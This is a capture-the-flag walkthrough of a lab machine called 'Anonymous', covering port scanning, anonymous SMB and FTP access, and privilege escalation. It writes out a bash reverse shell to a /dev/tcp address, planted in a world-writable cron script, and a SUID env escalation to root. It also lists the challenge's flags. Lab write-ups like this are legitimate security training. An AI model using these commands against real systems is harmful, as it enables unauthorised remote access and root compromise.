

Anonymous (Medium)

TARGET IP : 10.10.11.120

MY IP : 10.8.91.8

NMAP

First we start with an nmap scan

```
sudo nmap -sV -sC -Pn -vv -T4 -oN nmap.txt 10.10.11.120
```

```
PORT      STATE SERVICE      REASON          VERSION
21/tcp    open  ftp          syn-ack ttl 63 vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:10.8.91.8
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113      4096 Jun 04  2020 scripts [NSE:
writeable]
22/tcp    open  ssh          syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDCi47ePYjDctfwgAphABwT1jpPkKajXoLv3bb/zvpvDvX
wWKnM6nZuzL2HA1veSQa90ydSSpg8S+B8SLpkFycv7iSy2/Jmf7qY+8oQxWThH1fwBmIO5g/TTtR
Rta6IPoKaMCle8hnp5pSP5D4saCpSW3E5rKd8qj3oAj6S8TWgE9cBNJbMRtVu1+sKjUy/7ymikcP
GAjRSSaFDroF9fmGDQtd61oU5waKqurhZpre70Uf0kZGwt6954rwbXthTeEjf+4J5+gIPDLcKzVO
7BxkuJgTqk4lE9ZU/5INBXGpgI5r4mZknbEPJKS47Xa0vkqm9QWveoOSQgkqdhIPjnhD
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBpjHnAlR7sBuoSM2X5sATLl1
sFrcUNpTS87qXzhMD99aGGzy0lnWmjHGNmm34cWSz0ohxhoK2fv9NWwcIQ5A/ng=
|   256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
|_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJil1covB44FA632BSQ7sUqap
```

139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

```
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2024-10-14T10:25:53+00:00
| smb2-security-mode:
|   3:1:1:
|_  Message signing enabled but not required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 17985/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 32295/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 45904/udp): CLEAN (Failed to receive data)
|   Check 4 (port 65458/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 0s, deviation: 0s, median: -1s
| nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC:
<unknown> (unknown)
| Names:
|   ANONYMOUS<00>          Flags: <unique><active>
|   ANONYMOUS<03>          Flags: <unique><active>
|   ANONYMOUS<20>          Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>          Flags: <group><active>
|   WORKGROUP<1d>          Flags: <unique><active>
|   WORKGROUP<1e>          Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| smb2-time:
|   date: 2024-10-14T10:25:53
|_  start_date: N/A
```

Read data files from: /usr/share/nmap

Service detection performed. Please report any incorrect results at

```
https://nmap.org/submit/ .
```

```
# Nmap done at Mon Oct 14 10:26:01 2024 -- 1 IP address (1 host up) scanned  
in 23.79 seconds
```

Question : Enumerate the machine. How many ports are open?

Answer : 4

Question : What service is running on port 21?

Answer : FTP

Question : What service is running on ports 139 and 445?

Answer : SMB

SMB

We list all the shares on the machine using `smbclient`.

```
└─$ smbclient -L //10.10.11.120  
Password for [WORKGROUP\zerodol]:  
  
      Sharename      Type      Comment  
      ────  
      print$         Disk      Printer Drivers  
      pics           Disk      My SMB Share Directory for Pics  
      IPC$           IPC       IPC Service (anonymous server (Samba, Ubuntu))  
Reconnecting with SMB1 for workgroup listing.  
  
      Server          Comment  
      ────  
      Workgroup       Master  
      WORKGROUP      ANONYMOUS
```

The only share that is available is `pics`.

We can access the share. There are two images.

```
└─$ smbclient //10.10.11.120/pics  
Password for [WORKGROUP\zerodol]:  
Try "help" to get a list of possible commands.  
smb: \> ls  
  
      .                D            0    Sun May 17 11:11:34 2020  
      ..               D            0    Thu May 14 01:59:10 2020  
      corgo2.jpg        N          42663  Tue May 12 00:43:42 2020  
      puppos.jpeg       N         265188  Tue May 12 00:43:42 2020  
  
      20508240 blocks of size 1024. 13306812 blocks available  
smb: \> █
```

We can download them but there is nothing that will help us further.

```
smb: \> get corgo2.jpg
getting file \corgo2.jpg of size 42663 as corgo2.jpg (26.4 KiloBytes/sec) (average 26.4 KiloBytes/sec)
smb: \> get puppos.jpeg
getting file \puppos.jpeg of size 265188 as puppos.jpeg (121.2 KiloBytes/sec) (average 80.9 KiloBytes/sec)
smb: \> █
```

Question : There's a share on the user's computer. What's it called?

Answer : `pics`

FTP

Now we can go to the FTP server and see what we have. We can connect as the user

`anonymous` without a password.

There is a folder named `scripts`. Let's look at what's there.

```
└─$ ftp 10.10.11.120
Connected to 10.10.11.120.
220 NamelessOne's FTP Server!
Name (10.10.11.120:zerodol): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||43449|)
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534          4096 May 13  2020 .
drwxr-xr-x    3 65534    65534          4096 May 13  2020 ..
drwxrwxrwx    2 111      113           4096 Jun 04  2020 scripts
226 Directory send OK.
```

There are three files in the folder.

```
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||32932|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113           4096 Jun 04  2020 .
drwxr-xr-x    3 65534    65534          4096 May 13  2020 ..
-rwxr-xrwx    1 1000      1000           314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000      1000          1161 Oct 14 10:30 removed_files.log
-rw-r--r--    1 1000      1000           68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> █
```

There is an interesting file named `clean.sh`. Let's look at the contents of the file.

```
ftp> get clean.sh -
remote: clean.sh
229 Entering Extended Passive Mode (|||25055|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
    fi
fi
226 Transfer complete.
314 bytes received in 00:00 (1.23 KiB/s)
ftp> █
```

We have all permissions on this script. The script is used to check the /tmp directory and cleanup files then log the output to the removed_files.log file. Looking at the contents of removed_files.log, it seems the clean.sh script runs very often. Maybe every minute or so. We need to create our own clean.sh script and upload it on the FTP server so hopefully the `cronjob` (*a task created using **cron**, a tool for scheduling and automating future tasks on Unix-like operating systems*) will execute our script rather the cleanup script.

Foothold

I create my own file called clean.sh and i put i reverse shell in it.

```
#!/bin/bash
bash -i >& /dev/tcp/10.8.91.8/9001 0>&1█
~
~
```

I upload the file on the FTP server and wait for the script to be executed

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||19731|)
150 Ok to send data.
100% |*****|
226 Transfer complete.
52 bytes sent in 00:00 (0.10 KiB/s)
ftp> get clean.sh -
remote: clean.sh
229 Entering Extended Passive Mode (|||35373|)
150 Opening BINARY mode data connection for clean.sh (52 bytes).
#!/bin/bash
bash -i >& /dev/tcp/10.8.91.8/9001 0>&1
226 Transfer complete.
52 bytes received in 00:00 (0.20 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||10415|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 .
drwxr-xr-x    3 65534    65534         4096 May 13  2020 ..
-rwxr-xrwx    1 1000     1000           52 Oct 14 11:08 clean.sh
-rw-rw-r--    1 1000     1000        1462 Oct 14 11:08 removed_files.log
-rw-r--r--    1 1000     1000          68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> █
```

```
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.66.173] 49702
bash: cannot set terminal process group (1416): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ █
```

```

namelessone@anonymous:~$ ls -la
ls -la
total 60
drwxr-xr-x 6 namelessone namelessone 4096 May 14 2020 .
drwxr-xr-x 3 root         root         4096 May 11 2020 ..
lrwxrwxrwx 1 root         root          9 May 11 2020 .bash_history → /dev/null
-rw-r--r-- 1 namelessone namelessone 220 Apr  4 2018 .bash_logout
-rw-r--r-- 1 namelessone namelessone 3771 Apr  4 2018 .bashrc
drwx----- 2 namelessone namelessone 4096 May 11 2020 .cache
drwx----- 3 namelessone namelessone 4096 May 11 2020 .gnupg
-rw----- 1 namelessone namelessone  36 May 12 2020 .lessht
drwxrwxr-x 3 namelessone namelessone 4096 May 12 2020 .local
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone 807 Apr  4 2018 .profile
-rw-rw-r-- 1 namelessone namelessone  66 May 12 2020 .selected_editor
-rw-r--r-- 1 namelessone namelessone   0 May 12 2020 .sudo_as_admin_successful
-rw-r--r-- 1 namelessone namelessone  33 May 11 2020 user.txt
-rw----- 1 namelessone namelessone 7994 May 12 2020 .viminfo
-rw-rw-r-- 1 namelessone namelessone 215 May 13 2020 .wget-hsts
namelessone@anonymous:~$ cat user.txt
cat user.txt
90d6f992585815ff991e68748c414740
namelessone@anonymous:~$ █

```

user.txt : 90d6f992585815ff991e68748c414740

Privilege Escalation

I search for the binaries that have the SUID bit set.

```
find / -type f -perm -u=s 2>/dev/null
```

```
/usr/bin/env
```

On GTF0Bins (<https://gtfobins.github.io/gtfobins/env/>) we have something for the env binary

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```

sudo install -m =xs $(which env) .
./env /bin/sh -p

```

So all we have to do is to use this command : `env /bin/sh -p`

```
namelessone@anonymous:~$ env /bin/sh -p
env /bin/sh -p
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
cat /root/root.txt
4d930091c31a622a7ed10f27999af363
█
```

And BOOOOMMM, we have the root flag.

root.txt : `4d930091c31a622a7ed10f27999af363`